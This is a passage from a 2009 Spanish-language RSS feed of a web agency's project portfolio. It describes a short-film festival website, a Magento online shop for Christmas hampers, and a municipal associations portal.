		<title>Quartmetratges. Festival de cortometrajes</title>
		<link>http://onestic.com/quartmetratges-festival-de-cortometrajes/</link>
		<comments>http://onestic.com/quartmetratges-festival-de-cortometrajes/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 10:04:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=80</guid>
		<description><![CDATA[Website desarrollo para el festival de cortos de Quart de Poblet, en fase de carga de contenidos y vídeos. Se desarrolla un aplicativo que convierte y publica de forma automática los vídeos subidos por los concursantes del festival. Integración con Facebook y twitter, blipTV, canal de youtube, etc.]]></description>
			<content:encoded><![CDATA[Website desarrollo para el festival de cortos de Quart de Poblet, en fase de carga de contenidos y vídeos. Se desarrolla un aplicativo que convierte y publica de forma automática los vídeos subidos por los concursantes del festival. Integración con Facebook y twitter, blipTV, canal de youtube, etc.]]></content:encoded>
			<wfw:commentRss>http://onestic.com/quartmetratges-festival-de-cortometrajes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sadival. Tienda on-line Dialva</title>
		<link>http://onestic.com/sadival-tienda-on-line-dialva/</link>
		<comments>http://onestic.com/sadival-tienda-on-line-dialva/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 11:08:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[magento]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=88</guid>
		<description><![CDATA[Desarrollo de nueva tienda para el Grupo Dialva, Sadival. Tienda dedicada a la venta de Lotes de Navidad OnLine. Con este proyecto se pretende ser líder en el sector de las ventas On-line. Supervisión realizada por Juan Luis Hortelano de www.kanben.com.]]></description>
			<content:encoded><![CDATA[Desarrollo de nueva tienda para el Grupo Dialva, Sadival. Tienda dedicada a la venta de Lotes de Navidad OnLine. Con este proyecto se pretende ser líder en el sector de las ventas On-line. Supervisión realizada por <a href="http://tecnorantes.com">Juan Luis Hortelano</a> de <a href="http://www.kanben.com">www.kanben.com</a>.]]></content:encoded>
			<wfw:commentRss>http://onestic.com/sadival-tienda-on-line-dialva/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Asilla. Portal de asociaciones</title>
		<link>http://onestic.com/asilla-portal-de-asociaciones/</link>
		<comments>http://onestic.com/asilla-portal-de-asociaciones/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 10:05:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=82</guid>
		<description><![CDATA[Implantando para el Ajuntament de Silla el producto desarrollado por Onestic miAsociaciónenRed que permite crear de forma rápida, sencilla y eficaz websites para cada asociación del municipio. Así mismo, existe una meta-portal que aglutina toda la información generada por las asociaciones del municipio y una red social donde pueden participar todos los usuarios registrados en [...]]]></description>
			<content:encoded><![CDATA[Implantando para el Ajuntament de Silla el producto desarrollado por Onestic <strong>miAsociaciónenRed</strong> que permite crear de forma rápida, sencilla y eficaz websites para cada asociación del municipio. Así mismo, existe una meta-portal que aglutina toda la información generada por las asociaciones del municipio y una red social donde pueden participar todos los usuarios registrados en las asociaciones.

Otras entidades vinculadas con el proyecto y donde se implantará la presente solución son el Ajuntament de Quart de Poblet y el Ajuntament de Burjassot.]]></content:encoded>
			<wfw:commentRss>http://onestic.com/asilla-portal-de-asociaciones/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

